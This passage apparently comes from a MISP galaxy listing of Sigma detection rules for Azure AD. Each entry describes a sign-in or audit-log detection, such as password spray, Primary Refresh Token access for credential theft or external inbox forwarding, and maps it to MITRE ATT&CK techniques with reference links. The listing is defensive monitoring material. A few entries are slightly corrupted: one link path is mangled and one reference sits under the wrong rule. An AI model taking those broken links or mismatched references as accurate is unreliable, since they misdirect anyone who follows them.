<td><a href="https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts">https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth_to_important_apps_using_single_factor_auth.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth_to_important_apps_using_single_factor_auth.yml</a></td>
</tr>
</tbody>
</table>

Measurable Increase Of Successful Authentications

Detects when successful sign-ins increased by 10% or greater.

The tag is: misp-galaxy:sigma-rules="Measurable Increase Of Successful Authentications"

View relationships graph

Measurable Increase Of Successful Authentications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 10600. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth</a> succès_increase.yml</td>
</tr>
</tbody>
</table>
Successful Authentications From Countries You Do Not Operate Out Of

Detect successful authentications from countries you do not operate out of.

The tag is: misp-galaxy:sigma-rules="Successful Authentications From Countries You Do Not Operate Out Of"

View relationships graph

Successful Authentications From Countries You Do Not Operate Out Of has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Potential MFA Bypass Using Legacy Client Authentication

Detects successful authentication from potential clients using legacy authentication via user agent strings. This could be a sign of MFA bypass using a password spray attack.

The tag is: misp-galaxy:sigma-rules="Potential MFA Bypass Using Legacy Client Authentication"

View relationships graph

Potential MFA Bypass Using Legacy Client Authentication has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 10601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts">https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml</a></td>
</tr>
</tbody>
</table>

Table 10602. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Device Registration or Join Without MFA

Monitor and alert for device registration or join events where MFA was not performed.

The tag is: `misp-galaxy:sigma-rules="Device Registration or Join Without MFA"`

View relationships graph

Device Registration or Join Without MFA has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10603. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_device_registration_or_join_without_mfa.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_device_registration_or_join_without_mfa.yml</a></td>
</tr>
</tbody>
</table>

Discovery Using AzureHound

Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication.

The tag is: `misp-galaxy:sigma-rules="Discovery Using AzureHound"`

View relationships graph

Discovery Using AzureHound has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526"` with estimative-language:likelihood-probability="almost-certain"

Table 10604. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/BloodHoundAD/AzureHound">https://github.com/BloodHoundAD/AzureHound</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_azurehound_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_azurehound_discovery.yml</a></td>
</tr>
</tbody>
</table>
**Account Lockout**

Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.

The tag is: `misp-galaxy:sigma-rules="Account Lockout"`

View relationships graph

Account Lockout has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"

Table 10605. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_account_lockout.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_account_lockout.yml</a></td>
</tr>
</tbody>
</table>

**Sign-ins by Unknown Devices**

Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.

The tag is: `misp-galaxy:sigma-rules="Sign-ins by Unknown Devices"`

View relationships graph

Sign-ins by Unknown Devices has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10606. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_sign_ins_from_unknown_devices.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_sign_ins_from_unknown_devices.yml</a></td>
</tr>
</tbody>
</table>

**Multifactor Authentication Interrupted**

Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can’t pass the MFA challenge.

The tag is: `misp-galaxy:sigma-rules="Multifactor Authentication Interrupted"`
Multifactor Authentication Interrupted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 10607. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Multifactor Authentication Denied

User has indicated they haven’t instigated the MFA prompt and could indicate an attacker has the password for the account.

The tag is: misp-galaxy:sigma-rules="Multifactor Authentication Denied"

Multifactor Authentication Denied has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 10608. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Failed Authentications From Countries You Do Not Operate Out Of

Detect failed authentications from countries you do not operate out of.

The tag is: `misp-galaxy:sigma-rules="Failed Authentications From Countries You Do Not Operate Out Of"`

View relationships graph

Failed Authentications From Countries You Do Not Operate Out Of has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"

Table 10609. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts">https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml</a></td>
</tr>
</tbody>
</table>

Login to Disabled Account

Detect failed attempts to sign in to disabled accounts.

The tag is: `misp-galaxy:sigma-rules="Login to Disabled Account"`

View relationships graph

Login to Disabled Account has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10610. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Suspicious SignIns From A Non Registered Device**

Dectes risky authentication from a non AD registered device without MFA being required.

The tag is: `misp-galaxy:sigma-rules="Suspicious SignIns From A Non Registered Device"`

**Azure AD Only Single Factor Authentication Required**

Detect when users are authenticating without MFA being required.

The tag is: `misp-galaxy:sigma-rules="Azure AD Only Single Factor Authentication Required"`

**Sign-ins from Non-Compliant Devices**

Monitor and alert for sign-ins where the device was non-compliant.
Sign-ins from Non-Compliant Devices has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 10613. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_sign_ins_from_noncompliant_devices.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_sign_ins_from_noncompliant_devices.yml</a></td>
</tr>
</tbody>
</table>

Azure Unusual Authentication Interruption

Detects when there is a interruption in the authentication process.

The tag is: misp-galaxy: sigma-rules="Azure Unusual Authentication Interruption"

Table 10614. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_unusual_authentication_interruption.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_unusual_authentication_interruption.yml</a></td>
</tr>
</tbody>
</table>

Application Using Device Code Authentication Flow

Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious.

The tag is: misp-galaxy: sigma-rules="Application Using Device Code Authentication Flow"
Application Using Device Code Authentication Flow has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

**Account Disabled or Blocked for Sign in Attempts**

Detects when an account is disabled or blocked for sign in but tried to log in

The tag is: misp-galaxy:sigma-rules="Account Disabled or Blocked for Sign in Attempts"

**Password Spray Activity**

Indicates that a password spray attack has been successfully performed.

The tag is: misp-galaxy:sigma-rules="Password Spray Activity"
**Suspicious Inbox Manipulation Rules**

Detects suspicious rules that delete or move messages or folders are set on a user's inbox.

The tag is: `misp-galaxy:sigma-rules="Suspicious Inbox Manipulation Rules"`

**Anonymous IP Address**

Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.

The tag is: `misp-galaxy:sigma-rules="Anonymous IP Address"`
New Country

Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.

The tag is: misp-galaxy:sigma-rules="New Country"

View relationships graph

New Country has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 10620. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_new_country_region.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_new_country_region.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Inbox Forwarding Identity Protection

Indicates suspicious rules such as an inbox rule that forwards a copy of all emails to an external address

The tag is: misp-galaxy:sigma-rules="Suspicious Inbox Forwarding Identity Protection"

View relationships graph

Suspicious Inbox Forwarding Identity Protection has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 10621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Atypical Travel

Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.

The tag is: `misp-galaxy:sigma-rules="Atypical Travel"`

View relationships graph

Atypical Travel has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10622. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Primary Refresh Token Access Attempt

Indicates access attempt to the PRT resource which can be used to move laterally into an organization or perform credential theft.

The tag is: `misp-galaxy:sigma-rules="Primary Refresh Token Access Attempt"`

View relationships graph

Primary Refresh Token Access Attempt has relationships with:


Table 10623. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Sign-In From Malware Infected IP

Indicates sign-ins from IP addresses infected with malware that is known to actively communicate with a bot server.

The tag is: `misp-galaxy:sigma-rules="Sign-In From Malware Infected IP"`

View relationships graph

Sign-In From Malware Infected IP has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10624. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Malicious IP Address Sign-In Suspicious

Indicates sign-in from a malicious IP address known to be malicious at time of sign-in.

The tag is: `misp-galaxy:sigma-rules="Malicious IP Address Sign-In Suspicious"

View relationships graph

Malicious IP Address Sign-In Suspicious has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10625. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_prt_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_prt_access.yml</a></td>
</tr>
</tbody>
</table>
Unfamiliar Sign-In Properties

Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.

The tag is: `misp-galaxy:sigma-rules="Unfamiliar Sign-In Properties"`

View relationships graph

Unfamiliar Sign-In Properties has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"

Malicious IP Address Sign-In Failure Rate

Indicates sign-in from a malicious IP address based on high failure rates.

The tag is: `misp-galaxy:sigma-rules="Malicious IP Address Sign-In Failure Rate"`

View relationships graph

Malicious IP Address Sign-In Failure Rate has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with estimative-language:likelihood-probability="almost-certain"
SAML Token Issuer Anomaly

Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns.

The tag is: `misp-galaxy:sigma-rules="SAML Token Issuer Anomaly"`

View relationships graph

SAML Token Issuer Anomaly has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10628. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Azure AD Account Credential Leaked

Indicates that the user’s valid credentials have been leaked.

The tag is: `misp-galaxy:sigma-rules="Azure AD Account Credential Leaked"`

View relationships graph

Azure AD Account Credential Leaked has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10629. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Anomalous Token

Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.

The tag is: misp-galaxy:sigma-rules="Anomalous Token"

View relationships graph

Anomalous Token has relationships with:


Azure AD Threat Intelligence

Indicates user activity that is unusual for the user or consistent with known attack patterns.

The tag is: misp-galaxy:sigma-rules="Azure AD Threat Intelligence"

View relationships graph

Azure AD Threat Intelligence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern=“Valid Accounts - T1078” with estimative-language:likelihood-probability="almost-certain"
Activity From Anonymous IP Address

Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.

The tag is: \textit{misp-galaxy:sigma-rules="Activity From Anonymous IP Address"}

View relationships graph

Activity From Anonymous IP Address has relationships with:

- related-to: \textit{misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"} with estimative-language:likelihood-probability="almost-certain"

Table 10632. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Impossible Travel

Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.

The tag is: \textit{misp-galaxy:sigma-rules="Impossible Travel"}

View relationships graph

Impossible Travel has relationships with:

- related-to: \textit{misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"} with estimative-language:likelihood-probability="almost-certain"
### Suspicious Browser Activity

Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser.

The tag is: `misp-galaxy:sigma-rules="Suspicious Browser Activity"`

View relationships graph

Suspicious Browser Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

### Anomalous User Activity

Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.

The tag is: `misp-galaxy:sigma-rules="Anomalous User Activity"

View relationships graph

Anomalous User Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
End User Consent

Detects when an end user consents to an application

The tag is: misp-galaxy:sigma-rules="End User Consent"

View relationships graph

End User Consent has relationships with:


App Role Added

Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner.

The tag is: misp-galaxy:sigma-rules="App Role Added"

View relationships graph

App Role Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"
Change to Authentication Method

Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.

The tag is: `misp-galaxy:sigma-rules="Change to Authentication Method"`

View relationships graph

Change to Authentication Method has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"

Guest User Invited By Non Approved Inviters

Detects when a user that doesn’t have permissions to invite a guest user attempts to invite one.

The tag is: `misp-galaxy:sigma-rules="Guest User Invited By Non Approved Inviters"`

View relationships graph

Guest User Invited By Non Approved Inviters has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"
Temporary Access Pass Added To An Account

Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated.

The tag is: `misp-galaxy:sigma-rules="Temporary Access Pass Added To An Account"`

View relationships graph

Temporary Access Pass Added To An Account has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10640. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_tap_added.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_tap_added.yml</a></td>
</tr>
</tbody>
</table>

Azure Subscription Permission Elevation Via AuditLogs

Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn’t planned. This setting could allow an attacker access to Azure subscriptions in your environment.

The tag is: `misp-galaxy:sigma-rules="Azure Subscription Permission Elevation Via AuditLogs"`

View relationships graph

Azure Subscription Permission Elevation Via AuditLogs has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"

Table 10641. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#assignment-and-elevation">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#assignment-and-elevation</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_subscription_permissions_elevation_via_auditlogs.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_subscription_permissions_elevation_via_auditlogs.yml</a></td>
</tr>
</tbody>
</table>
**Account Created And Deleted Within A Close Time Frame**

Detects when an account was created and deleted in a short period of time.

The tag is: *misp-galaxy:sigma-rules=*"Account Created And Deleted Within A Close Time Frame"

View relationships graph

**Bitlocker Key Retrieval**

Monitor and alert for Bitlocker key retrieval.

The tag is: *misp-galaxy:sigma-rules=*"Bitlocker Key Retrieval"

View relationships graph

**Added Owner To Application**

Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.
The tag is: `misp-galaxy:sigma-rules="Added Owner To Application"`

View relationships graph

Added Owner To Application has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552"` with estimative-language:likelihood-probability="almost-certain"

Table 10644. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#new-owner">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#new-owner</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_owner_added.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_owner_added.yml</a></td>
</tr>
</tbody>
</table>

**Password Reset By User Account**

Detect when a user has reset their password in Azure AD

The tag is: `misp-galaxy:sigma-rules="Password Reset By User Account"`

View relationships graph

Password Reset By User Account has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10645. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_user_password_change.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_user_password_change.yml</a></td>
</tr>
</tbody>
</table>

**User Added To Group With CA Policy Modification Access**

Monitor and alert on group membership additions of groups that have CA policy modification access

The tag is: `misp-galaxy:sigma-rules="User Added To Group With CA Policy Modification Access"`

View relationships graph

User Added To Group With CA Policy Modification Access has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 10646. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_group_user_addition_ca_modification.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_group_user_addition_ca_modification.yml</a></td>
</tr>
</tbody>
</table>

**Azure Domain Federation Settings Modified**

Identifies when an user or application modified the federation settings on the domain.

The tag is: *misp-galaxy:.sigma-rules*="Azure Domain Federation Settings Modified"

View relationships graph

Azure Domain Federation Settings Modified has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 10647. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes">https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_federation_modified.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_federation_modified.yml</a></td>
</tr>
</tbody>
</table>

**Added Credentials to Existing Application**

Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.

The tag is: *misp-galaxy:.sigma-rules*="Added Credentials to Existing Application"

View relationships graph

Added Credentials to Existing Application has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"
Bulk Deletion Changes To Privileged Account Permissions

Detects when a user is removed from a privileged role. Bulk changes should be investigated.

The tag is: `misp-galaxy:sigma-rules="Bulk Deletion Changes To Privileged Account Permissions"`

View relationships graph

Bulk Deletion Changes To Privileged Account Permissions has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"

Table 10649. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_privileged_role_assignment_bulk_change.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_privileged_role_assignment_bulk_change.yml</a></td>
</tr>
</tbody>
</table>

User Added To Privilege Role

Detects when a user is added to a privileged role.

The tag is: `misp-galaxy:sigma-rules="User Added To Privilege Role"`

View relationships graph

User Added To Privilege Role has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10650. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
App Granted Microsoft Permissions

Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD

The tag is: `misp-galaxy:sigma-rules="App Granted Microsoft Permissions"`

View relationships graph

App Granted Microsoft Permissions has relationships with:


Table 10651. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_permissions_msft.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_permissions_msft.yml</a></td>
</tr>
</tbody>
</table>

CA Policy Removed by Non Approved Actor

Monitor and alert on conditional access changes where non approved actor removed CA Policy.

The tag is: `misp-galaxy:sigma-rules="CA Policy Removed by Non Approved Actor"`

View relationships graph

CA Policy Removed by Non Approved Actor has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 10652. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
